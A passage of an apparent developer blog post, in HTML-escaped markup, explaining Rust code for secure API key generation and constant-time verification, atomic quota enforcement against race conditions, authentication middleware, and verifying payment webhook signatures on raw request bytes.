&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;generate_api_key&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;random_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nd"&gt;vec!&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0u8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;RAW_BYTES&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;OsRng&lt;/span&gt;&lt;span class="nf"&gt;.fill_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;random_bytes&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// OS entropy, not pseudo-random&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;random_hex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;random_bytes&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nd"&gt;format!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"{PREFIX}{random_hex}"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// Result: "ds_prod_3f9a2c1b8e7d4a6f0c5b2e9d1a8f3c7b4e6d9a2c"&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;key_hash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;hmac_sign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// Store only the hash in MongoDB — never the plaintext&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;key_prefix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nd"&gt;format!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"{PREFIX}{}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;random_hex&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="c1"&gt;// "ds_prod_3f9a2c1b" — shown to user for identification&lt;/span&gt;

    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key_hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key_prefix&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;verify_api_key&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;presented&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stored_hash&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;AppResult&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;computed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;hmac_sign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;presented&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// NEVER use == here — timing attack vulnerability.&lt;/span&gt;
    &lt;span class="c1"&gt;// constant_time_eq always takes the same time regardless of where strings differ.&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nn"&gt;constant_time_eq&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;constant_time_eq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;computed&lt;/span&gt;&lt;span class="nf"&gt;.as_bytes&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;stored_hash&lt;/span&gt;&lt;span class="nf"&gt;.as_bytes&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;AppError&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;Unauthorized&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Invalid API key"&lt;/span&gt;&lt;span class="nf"&gt;.into&lt;/span&gt;&lt;span class="p"&gt;()));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(())&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;💡 Why OsRng over thread_rng?&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;thread_rng&lt;/code&gt; uses a CSPRNG seeded from the OS — technically fine. But &lt;code&gt;OsRng&lt;/code&gt; draws directly from &lt;code&gt;/dev/urandom&lt;/code&gt; on Linux with no intermediate state. For security tokens, no intermediate state is what you want.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  The Race Condition Shield
&lt;/h3&gt;

&lt;p&gt;This is the most subtle bug in quota systems:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;User has 10 posts remaining.&lt;/li&gt;
&lt;li&gt;They fire 5 simultaneous requests.&lt;/li&gt;
&lt;li&gt;All 5 read &lt;code&gt;posts_used=290&lt;/code&gt;, all 5 see "under limit", all 5 publish.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Result:&lt;/strong&gt; 295 posts used — 5 over quota.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The fix is atomic at the DB level:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ONE atomic operation — not read-then-write&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;updated_user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;users_col&lt;/span&gt;
    &lt;span class="nf"&gt;.find_one_and_update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nd"&gt;doc!&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="s"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="c1"&gt;// Only match if STILL under quota at the moment of the write&lt;/span&gt;
            &lt;span class="s"&gt;"$expr"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;"$and"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
                &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;"$lt"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"$posts_used"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;post_quota&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nb"&gt;i64&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
                &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;"$lt"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"$images_used"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;image_quota&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nb"&gt;i64&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
            &lt;span class="p"&gt;]}&lt;/span&gt;
        &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="nd"&gt;doc!&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;"$inc"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;"posts_used"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"images_used"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;has_media&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nb"&gt;i32&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;updated_user&lt;/span&gt;&lt;span class="nf"&gt;.is_none&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Either quota was hit, or a concurrent request just took the last slot&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;AppError&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;Forbidden&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Monthly quota exceeded"&lt;/span&gt;&lt;span class="nf"&gt;.into&lt;/span&gt;&lt;span class="p"&gt;()));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// If we get here, the increment already happened atomically.&lt;/span&gt;
&lt;span class="c1"&gt;// No mutex. No race. MongoDB's document-level locking handles it.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Auth Middleware Flow
&lt;/h3&gt;

&lt;p&gt;Every request to &lt;code&gt;/v1/*&lt;/code&gt; goes through this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/middleware/auth.rs&lt;/span&gt;
&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;require_api_key&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nf"&gt;State&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;State&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;AppState&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;next&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Next&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AppError&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;extract_bearer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// 1. Format check — fast reject before DB hit&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="nf"&gt;.starts_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"ds_prod_"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;||&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="nf"&gt;.len&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;56&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;AppError&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;Unauthorized&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Invalid token format"&lt;/span&gt;&lt;span class="nf"&gt;.into&lt;/span&gt;&lt;span class="p"&gt;()));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// 2. Prefix lookup — indexed query, not full scan&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;prefix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// "ds_prod_3f9a2c1b"&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;api_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;keys_col&lt;/span&gt;
        &lt;span class="nf"&gt;.find_one&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nd"&gt;doc!&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;"key_prefix"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;prefix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"is_active"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
        &lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;
        &lt;span class="nf"&gt;.ok_or_else&lt;/span&gt;&lt;span class="p"&gt;(||&lt;/span&gt; &lt;span class="nn"&gt;AppError&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;Unauthorized&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Key not found"&lt;/span&gt;&lt;span class="nf"&gt;.into&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// 3. Constant-time HMAC verification&lt;/span&gt;
    &lt;span class="nf"&gt;verify_api_key&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;api_key&lt;/span&gt;&lt;span class="py"&gt;.key_hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="py"&gt;.config.api_token_secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// 4. Update last_used_at (fire-and-forget, don't block the request)&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;keys_col&lt;/span&gt;&lt;span class="nf"&gt;.update_one&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nd"&gt;doc!&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;key_id&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="nd"&gt;doc!&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;"$set"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;"last_used_at"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nn"&gt;bson&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;DateTime&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// 5. Blacklist check — instant ban across all 18 tools&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;blacklist_col&lt;/span&gt;&lt;span class="nf"&gt;.find_one&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nd"&gt;doc!&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;"user_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;api_key&lt;/span&gt;&lt;span class="py"&gt;.user_id&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="nf"&gt;.is_some&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;AppError&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Blacklisted&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// 6. Inject resolved User into request extensions&lt;/span&gt;
    &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="nf"&gt;.extensions_mut&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.insert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;next&lt;/span&gt;&lt;span class="nf"&gt;.run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Part 2 — The Money Pipeline
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Lemon Squeezy Webhooks: Why Raw Bytes Matter
&lt;/h3&gt;

&lt;p&gt;This is one of the most common mistakes in webhook implementations:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ❌ WRONG — parses JSON first, then tries to verify&lt;/span&gt;
&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;webhook&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;Json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;Json&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;LemonPayload&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;impl&lt;/span&gt; &lt;span class="n"&gt;IntoResponse&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;verify_signature&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="cm"&gt;/* what bytes? */&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="c1"&gt;// Problem: serde already consumed the body.&lt;/span&gt;
    &lt;span class="c1"&gt;// You can't get the original bytes back after JSON parsing.&lt;/span&gt;
    &lt;span class="c1"&gt;// Also: serde might reorder keys, strip whitespace, etc.&lt;/span&gt;
    &lt;span class="c1"&gt;// Your HMAC will never match.&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ✅ CORRECT — raw bytes first, parse after verification&lt;/span&gt;
&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;webhook&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;HeaderMap&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// axum gives you raw bytes&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;impl&lt;/span&gt; &lt;span class="n"&gt;IntoResponse&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// 1. Verify against the EXACT bytes Lemon Squeezy sent&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;verify_signature&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nn"&gt;StatusCode&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;UNAUTHORIZED&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="c1"&gt;// 2. NOW parse — signature is already confirmed&lt;/span&gt;
